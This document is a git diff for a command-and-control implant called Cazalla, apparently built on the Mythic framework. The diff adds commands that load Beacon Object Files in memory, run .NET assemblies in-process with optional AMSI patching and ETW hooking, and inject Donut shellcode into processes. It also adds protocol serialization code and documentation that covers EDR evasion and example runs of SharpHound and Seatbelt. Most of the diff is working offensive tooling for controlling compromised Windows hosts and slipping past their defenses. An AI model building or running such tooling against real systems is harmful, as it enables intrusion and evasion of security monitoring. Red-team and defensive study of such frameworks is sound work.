{argument}: Unknown value type.") + + argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments) + return argumentResponse + + async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + response = PTRPCDynamicQueryFunctionMessageResponse() + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + CallbackID=callback.Callback, + LimitByCallback=False, + IsDownloadFromAgent=False, + IsScreenshot=False, + IsPayload=False, + Filename="", + )) + if file_resp.Success: + file_names = [] + for f in file_resp.Files: + if f.Filename not in file_names and f.Filename.endswith(".o"): + file_names.append(f.Filename) + response.Success = True + response.Choices = file_names + return response + else: + await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( + CallbackId=callback.Callback, + Message=f"Failed to get files: {file_resp.Error}", + MessageLevel="warning" + )) + response.Error = f"Failed to get files: {file_resp.Error}" + return response + + +class InlineExecuteCommand(CommandBase): + cmd = "inline_execute" + needs_admin = False + help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]" + description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]" + version = 1 + author = "@c0rnbread (adapted for Cazalla)" + attackmapping = [] + argument_class = InlineExecuteArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=True + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + try: + groupName = taskData.args.get_parameter_group_name() + if groupName == "New": + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + AgentFileID=taskData.args.get_arg("bof_file") + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + pass + else: + raise Exception("Failed to find that file") + else: + raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) + elif groupName == "Default": + # We're trying to find an already existing file and use that + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=taskData.args.get_arg("bof_name"), + LimitByCallback=False, + MaxResults=1 + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId) + taskData.args.remove_arg("bof_name") # Don't need this anymore + + # Set display parameters + response.DisplayParams = "-bof_file {} -bof_arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("bof_arguments") + ) + + elif len(file_resp.Files) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + except Exception as e: + raise Exception("Error from Mythic: " + str(e)) + + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py new file mode 100644 index 0000000..19df8d0 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py @@ -0,0 +1,271 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +import logging + +logging.basicConfig(level=logging.INFO) + +# Wrapper function for Inline-EA +# BoF Credits: https://github.com/EricEsquivel/Inline-EA + +class InlineExecuteAssemblyArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="assembly_name", + cli_name="Assembly", + display_name="Assembly", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_files, + description="Already existing .NET assembly to execute (e.g. SharpUp.exe)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ) + ]), + CommandParameter( + name="assembly_file", + display_name="New Assembly", + type=ParameterType.File, + description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="New Assembly", + ui_position=1, + ) + ] + ), + CommandParameter( + name="assembly_arguments", + cli_name="Arguments", + display_name="Arguments", + type=ParameterType.String, + description="Arguments to pass to the assembly.", + default_value="", + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=2, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=2 + ), + ], + ), + CommandParameter( + name="patch_exit", + cli_name="-patchexit", + display_name="patchexit", + type=ParameterType.Boolean, + description="Patches System.Environment.Exit to prevent Beacon process from exiting", + default_value=False, + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=3, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=3 + ), + ], + ), + CommandParameter( + name="amsi", + cli_name="-amsi", + display_name="amsi", + type=ParameterType.Boolean, + description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections", + default_value=False, + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=4, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=4 + ), + ], + ), + CommandParameter( + name="etw", + cli_name="-etw", + display_name="etw", + type=ParameterType.Boolean, + description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away", + default_value=False, + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=5, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=5 + ), + ], + ), + ] + + async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + response = PTRPCDynamicQueryFunctionMessageResponse() + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + CallbackID=callback.Callback, + LimitByCallback=False, + Filename="", + )) + if file_resp.Success: + file_names = [] + for f in file_resp.Files: + if f.Filename not in file_names and f.Filename.endswith(".exe"): + file_names.append(f.Filename) + response.Success = True + response.Choices = file_names + return response + else: + await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( + CallbackId=callback.Callback, + Message=f"Failed to get files: {file_resp.Error}", + MessageLevel="warning" + )) + response.Error = f"Failed to get files: {file_resp.Error}" + return response + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + +class InlineExecuteAssemblyCommand(CommandBase): + cmd = "inline_execute_assembly" + needs_admin = False + help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]" + description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)" + version = 1 + author = "@c0rnbread (adapted for Cazalla)" + script_only = True + attackmapping = [] + argument_class = InlineExecuteAssemblyArguments + attributes = CommandAttributes( + dependencies=["inline_execute"], + alias=True + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + try: + groupName = taskData.args.get_parameter_group_name() + + if groupName == "New Assembly": + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + AgentFileID=taskData.args.get_arg("assembly_file") + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + pass + else: + raise Exception("Failed to find that file") + else: + raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments"), + taskData.args.get_arg("patch_exit"), + taskData.args.get_arg("amsi"), + taskData.args.get_arg("etw") + ) + + taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename) + taskData.args.remove_arg("assembly_file") + + elif groupName == "Default": + # We're trying to find an already existing file and use that + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=taskData.args.get_arg("assembly_name"), + LimitByCallback=False, + MaxResults=1 + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}") + + taskData.args.remove_arg("assembly_name") # Don't need this anymore + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments"), + taskData.args.get_arg("patch_exit"), + taskData.args.get_arg("amsi"), + taskData.args.get_arg("etw") + ) + + elif len(file_resp.Files) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + + # Get the file contents of the .NET assembly ( base64 ( assembly bytes ) ) + assembly_contents = await SendMythicRPCFileGetContent( + MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId) + ) + + # Arguments depend on the BOF + file_name = "inline-ea.x64.o" + arguments = [ + [ + "bytes", + assembly_contents.Content.hex() # Raw bytes of Assembly + ], + [ + "int32", + len(assembly_contents.Content) # Assembly length + ], + [ + "wchar", + taskData.args.get_arg("assembly_arguments") # Assembly argument string + ], + [ + "int32", + taskData.args.get_arg("patch_exit") # BOOL + ], + [ + "int32", + taskData.args.get_arg("amsi") # BOOL + ], + [ + "int32", + taskData.args.get_arg("etw") # BOOL + ] + + ] + + # Run inline_execute subtask + subtask = await SendMythicRPCTaskCreateSubtask( + MythicRPCTaskCreateSubtaskMessage( + taskData.Task.ID, + CommandName="inline_execute", + SubtaskCallbackFunction="coff_completion_callback", + Params=json.dumps({ + "bof_name": file_name, + "bof_arguments": arguments + }), + Token=taskData.Task.TokenID, + ) + ) + + return response + + except Exception as e: + raise Exception("Error from Mythic: " + str(e)) + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt index 54199ae..a6d8887 100644 --- a/Payload_Type/cazalla/requirements.txt +++ b/Payload_Type/cazalla/requirements.txt @@ -10,3 +10,7 @@ pyaml async-timeout==4.0.3 charset_normalizer==3.3.2 pycryptodome==3.19.0 + +# Optional dependencies: +# donut-shellcode - Required only for execute_assembly command +# Install with: pip install donut-shellcode \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 85ac18d..8d7002e 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -38,7 +38,11 @@ commands = { # Added Reverse Port Forward commands "start_rpfwd": {"hex_code": 0x62, "input_type": "int"}, "stop_rpfwd": {"hex_code": 0x63, "input_type": None}, - "socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente + "socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente + # BOF and Assembly execution commands + "inline_execute": {"hex_code": 0x70, "input_type": "bof_special"}, + "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}, + "execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"} } def responseTasking(tasks): @@ -208,6 +212,56 @@ def responseTasking(tasks): print(f"[TRANSLATOR] SOCKS STOP") dataTask += len(data).to_bytes(4, "big") + data + + elif commands[command_to_run]["input_type"] == "bof_special": + # inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] + parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} + file_id = parameters.get("bof_file", "") + + data = command_code + task_id + # Add file_id + file_id_bytes = file_id.encode('utf-8') + data += len(file_id_bytes).to_bytes(4, "big") + data += file_id_bytes + + # Add BOF arguments (serialized) + bof_args = parameters.get("bof_arguments", []) + args_str = json.dumps(bof_args) if bof_args else "" + args_bytes = args_str.encode('utf-8') + data += len(args_bytes).to_bytes(4, "big") + data += args_bytes + + task_size = len(data) + dataTask += task_size.to_bytes(4, "big") + data + print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}") + + elif commands[command_to_run]["input_type"] == "assembly_special": + # inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] + parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} + # For inline_execute_assembly, it uses subtasks, so we might not get direct parameters + # For execute_assembly, it also uses subtasks + # These commands are handled via subtasks in Python, so they may not reach here directly + # But we'll handle them if they do + file_id = parameters.get("assembly_file", parameters.get("shellcode_file", "")) + + data = command_code + task_id + # Add file_id + if file_id: + file_id_bytes = file_id.encode('utf-8') + data += len(file_id_bytes).to_bytes(4, "big") + data += file_id_bytes + else: + data += (0).to_bytes(4, "big") + + # Add assembly arguments + assembly_args = parameters.get("assembly_arguments", "") + args_bytes = assembly_args.encode('utf-8') if assembly_args else b"" + data += len(args_bytes).to_bytes(4, "big") + data += args_bytes + + task_size = len(data) + dataTask += task_size.to_bytes(4, "big") + data + print(f"[TRANSLATOR] {command_to_run}: file_id={file_id}, args_len={len(args_bytes)}") dataToSend = dataHead + dataTask print(f"[TRANSLATOR] ========== responseTasking FIN ==========") diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 7715226..bd4538c 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -1078,10 +1078,29 @@ def postResponse(data): # No more markers break - try: - decoded_output = output.decode('cp850') - except Exception as e: - print(f"Fallo al decodificar la salida: {e}") + # Try to decode output - BOFs on Windows typically use Windows-1252 (cp1252) for Spanish characters + # Try Windows-1252 first (for Windows BOF output with special chars like ñ, ó, etc.) + # Then try UTF-8, then cp850 (legacy agent output), then latin-1 as last resort + decoded_output = None + for encoding in ['cp1252', 'utf-8', 'cp850', 'latin-1']: + try: + decoded_output = output.decode(encoding, errors='replace') + # If we successfully decoded with Windows-1252 or UTF-8, use it + if encoding in ['cp1252', 'utf-8']: + # Check if there are replacement characters - if too many, try next encoding + replacement_count = decoded_output.count('\ufffd') + if replacement_count == 0 or (replacement_count < len(decoded_output) * 0.01): + # Less than 1% replacement chars, probably correct encoding + break + else: + # For cp850 and latin-1, use if no replacement chars or as fallback + if '\ufffd' not in decoded_output or encoding == 'latin-1': + break + except Exception as e: + continue + + if decoded_output is None: + print(f"Fallo al decodificar la salida con todas las codificaciones intentadas") decoded_output = "[ERROR DECODIFICANDO]" task_id_str = uuidTask.decode('cp850') diff --git a/README.md b/README.md index 6ba901b..7b83946 100644 --- a/README.md +++ b/README.md @@ -199,6 +199,9 @@ For more information, see the [Mythic documentation on customizing public agents | `shell` | Execute shell command | `shell whoami` | | `sleep` | Adjust beacon interval | `sleep {"seconds":30,"jitter":0}` | | `exit` | Terminate the implant | `exit` | +| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` | +| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` | +| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` | ### System Information diff --git a/documentation-payload/Cazalla/commands.md b/documentation-payload/Cazalla/commands.md index 22449e1..fd1063f 100644 --- a/documentation-payload/Cazalla/commands.md +++ b/documentation-payload/Cazalla/commands.md @@ -16,6 +16,7 @@ Complete documentation for all Cazalla agent commands. - [Token Operations](#token-operations) - [Network Tunneling](#network-tunneling) - [System Operations](#system-operations) +- [Code Execution](#code-execution) - [Control Commands](#control-commands) --- @@ -789,6 +790,145 @@ desktop-abc\administrator --- +## Code Execution + +### `inline_execute` - Execute Beacon Object File (BOF) + +Execute a Beacon Object File (BOF) in the current process thread and capture its output. + +**Syntax:** +``` +inline_execute -BOF [-Arguments ] +``` + +**Parameters:** +- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`) +- `bof_file` (required for new uploads): A new BOF file to upload and execute +- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF + +**Argument Types:** +- `int16:123` or `-s:123` - 16-bit integer +- `int32:1234` or `-i:1234` - 32-bit integer +- `string:hello` or `-z:hello` - Null-terminated string +- `wchar:hello` or `-Z:hello` - Wide character string +- `base64:abc==` or `-b:abc==` - Base64-encoded binary data + +**Examples:** +``` +inline_execute -BOF whoami.x64.o +inline_execute -BOF listmods.x64.o -Arguments int32:1234 +inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP +``` + +**Features:** +- In-memory execution: BOFs are executed directly in the current process memory without creating new processes +- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution +- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) +- Output capture: Automatically captures and returns BOF output +- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64) + +**Output:** +``` +[inline_execute] BOF execution requested +[inline_execute] File ID: abc123... +[BOF Output] +Module Name: ntdll.dll +Base Address: 0x7ffa12340000 +``` + +**OPSEC Considerations:** +- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged +- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions +- API hooking: Some EDR solutions monitor API calls that BOFs make +- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged +- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors + +**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) + +--- + +### `inline_execute_assembly` - Execute .NET Assembly In-Process + +Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File). + +**Syntax:** +``` +inline_execute_assembly -Assembly [-Arguments ] [--patchexit] [--amsi] [--etw] +``` + +**Parameters:** +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly +- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting +- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections +- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` + +**Examples:** +``` +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" +inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw +``` + +**Features:** +- In-process execution: Executes .NET assemblies in the current process without spawning new processes +- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll) +- ETW bypass: Optional ETW bypass via EAT hooking +- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent +- Output capture: Automatically captures and returns assembly output +- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`) + +**OPSEC Considerations:** +- Process Create artifact: Assembly execution creates a "Process Create" artifact +- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions +- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections +- ETW bypass: EAT hooking may be detected by advanced EDR solutions +- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly` + +**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) + +--- + +### `execute_assembly` - Execute .NET Assembly in Remote Process + +Execute a .NET Assembly in a remote process and retrieve its output. + +**Syntax:** +``` +execute_assembly -Assembly -Arguments +``` + +**Parameters:** +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly + +**Examples:** +``` +execute_assembly -Assembly SharpUp.exe -Arguments "audit" +execute_assembly -Assembly Seatbelt.exe -Arguments "all" +execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" +``` + +**Features:** +- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut +- Process injection: Injects shellcode into a target process (defaults to current process) +- Output capture: Captures and returns assembly output +- No file system: Assembly is executed entirely in memory without writing to disk + +**OPSEC Considerations:** +- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions +- Shellcode injection: Donut shellcode injection may trigger behavioral detections +- Process Create artifact: Creates a "Process Create" artifact +- Memory scanning: Injected shellcode may be scanned by EDR memory protection +- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored +- Donut detection: Donut shellcode patterns may be detected by advanced security solutions + +**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support) + +--- + ### `screenshot` - Capture Screenshot Capture a screenshot of the primary desktop display and upload it to the Mythic server. diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Cazalla/commands/README.md index 0680647..c3795dd 100644 --- a/documentation-payload/Cazalla/commands/README.md +++ b/documentation-payload/Cazalla/commands/README.md @@ -40,7 +40,12 @@ Complete documentation for all Cazalla agent commands, organized by category. - [`screenshot`](screenshot.md) - Capture desktop screenshot - [`keylog_start`](keylog_start.md) - Start keylogger - [`keylog_stop`](keylog_stop.md) - Stop keylogger -- [`browser_info`](browser_info.md) - Identify installed browsers + +## Code Execution + +- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs) +- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process +- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes ## Control Commands diff --git a/documentation-payload/Cazalla/commands/execute_assembly.md b/documentation-payload/Cazalla/commands/execute_assembly.md new file mode 100644 index 0000000..7ad4574 --- /dev/null +++ b/documentation-payload/Cazalla/commands/execute_assembly.md @@ -0,0 +1,109 @@ +# execute_assembly - Execute .NET Assembly in Remote Process + +Execute a .NET Assembly in a remote process and retrieve its output. + +## Description + +The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned. + +## Syntax + +``` +execute_assembly -Assembly -Arguments +``` + +## Parameters + +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly + +## Examples + +``` +# Execute assembly with arguments +execute_assembly -Assembly SharpUp.exe -Arguments "audit" + +# Execute Seatbelt with all checks +execute_assembly -Assembly Seatbelt.exe -Arguments "all" + +# Execute SharpHound for domain enumeration +execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" +``` + +## Features + +- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut +- **Process Injection**: Injects shellcode into a target process (defaults to current process) +- **Output Capture**: Captures and returns assembly output +- **No File System**: Assembly is executed entirely in memory without writing to disk + +## How It Works + +1. The command retrieves the .NET assembly from Mythic +2. The assembly is converted to shellcode using Donut +3. A subtask is created to call `inject_shellcode` with the generated shellcode +4. The shellcode is injected into the target process +5. The .NET assembly is loaded and executed in the target process +6. Output is captured and returned to Mythic + +## Output + +``` +[execute_assembly] Converting .NET Assembly to Shellcode... +[execute_assembly] Shellcode generated: 123456 bytes +[execute_assembly] Injecting shellcode into process... +[Assembly Output] +SharpUp execution started... +[*] Checking for insecure file permissions... +[+] Found: C:\Program Files\Vulnerable Service\service.exe +``` + +## OPSEC Considerations + +- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions +- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections +- **Process Create Artifact**: Creates a "Process Create" artifact +- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection +- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored +- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions + +## Technical Details + +### Donut Integration + +The command uses Donut to convert .NET assemblies to position-independent shellcode: +- Automatically handles .NET assembly loading +- Supports .NET Framework and .NET Core assemblies +- Generates position-independent shellcode +- Handles assembly dependencies + +### Process Injection + +The shellcode injection process: +1. Shellcode is generated from the .NET assembly +2. Shellcode is registered as a temporary file in Mythic +3. `inject_shellcode` command is called via subtask +4. Shellcode is injected into the target process +5. Assembly executes and output is captured + +## Error Handling + +The command handles various error scenarios: +- **Assembly Not Found**: Returns error if assembly file cannot be retrieved +- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode +- **Injection Failure**: Returns error if shellcode cannot be injected +- **Execution Failure**: Returns error if assembly fails to execute + +## Related + +- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC) +- [`inline_execute`](inline_execute.md) - Execute BOFs directly +- [Artifacts Support](../features.md#artifacts-support) + +--- + +**Command Category:** Execution & Control +**Requires Admin:** No (unless injecting into protected process) +**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) + diff --git a/documentation-payload/Cazalla/commands/inline_execute.md b/documentation-payload/Cazalla/commands/inline_execute.md new file mode 100644 index 0000000..0551c30 --- /dev/null +++ b/documentation-payload/Cazalla/commands/inline_execute.md @@ -0,0 +1,114 @@ +# inline_execute - Execute Beacon Object File (BOF) + +Execute a Beacon Object File (BOF) in the current process thread and capture its output. + +## Description + +The `inline_execute` command loads and executes a COFF (Common Object File Format) file, commonly known as a Beacon Object File (BOF), directly in the memory of the current process. BOFs are lightweight, position-independent code objects that can be executed without creating new processes, making them useful for stealthy operations. + +## Syntax + +``` +inline_execute -BOF [-Arguments ] +``` + +## Parameters + +- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`) +- `bof_file` (required for new uploads): A new BOF file to upload and execute +- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF + +### Argument Types + +BOF arguments can be specified using the following format: +- `int16:123` or `-s:123` - 16-bit integer +- `int32:1234` or `-i:1234` - 32-bit integer +- `string:hello` or `-z:hello` - Null-terminated string +- `wchar:hello` or `-Z:hello` - Wide character string +- `base64:abc==` or `-b:abc==` - Base64-encoded binary data + +## Examples + +``` +# Execute a BOF with no arguments +inline_execute -BOF whoami.x64.o + +# Execute a BOF with integer argument +inline_execute -BOF listmods.x64.o -Arguments int32:1234 + +# Execute a BOF with multiple arguments +inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP + +# Upload and execute a new BOF +inline_execute -BOF custom_bof.x64.o -Arguments int32:5678 +``` + +## Features + +- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes +- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution +- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) +- **Output Capture**: Automatically captures and returns BOF output +- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64) + +## Output + +``` +[inline_execute] BOF execution requested +[inline_execute] File ID: abc123... +[inline_execute] Arguments: int32:1234 +[BOF Output] +Module Name: ntdll.dll +Base Address: 0x7ffa12340000 +Size: 0x1f0000 +``` + +## OPSEC Considerations + +- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged +- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions +- **API Hooking**: Some EDR solutions monitor API calls that BOFs make +- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged +- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors + +## Technical Details + +### COFF Loader + +The COFF loader implementation: +- Supports x64 COFF files (IMAGE_FILE_MACHINE_AMD64) +- Handles relocations (IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_ADDR32NB, IMAGE_REL_AMD64_REL32) +- Resolves internal Beacon API functions +- Resolves external symbols via LoadLibraryA/GetProcAddress +- Maps sections with PAGE_EXECUTE_READWRITE permissions + +### Beacon API Compatibility + +The following Beacon API functions are supported: +- `BeaconPrintf` - Formatted output +- `BeaconOutput` - Raw output +- `BeaconDataParse` - Parse input data +- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction +- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation +- `BeaconIsAdmin` - Admin check + +## Error Handling + +The command handles various error scenarios: +- **File Not Found**: Returns error if BOF file cannot be retrieved from Mythic +- **Invalid COFF**: Returns error if file is not a valid COFF or unsupported architecture +- **Symbol Resolution Failure**: Warns if external symbols cannot be resolved +- **Execution Failure**: Returns error if BOF entry point cannot be found or execution fails + +## Related + +- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process +- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes +- [Artifacts Support](../features.md#artifacts-support) + 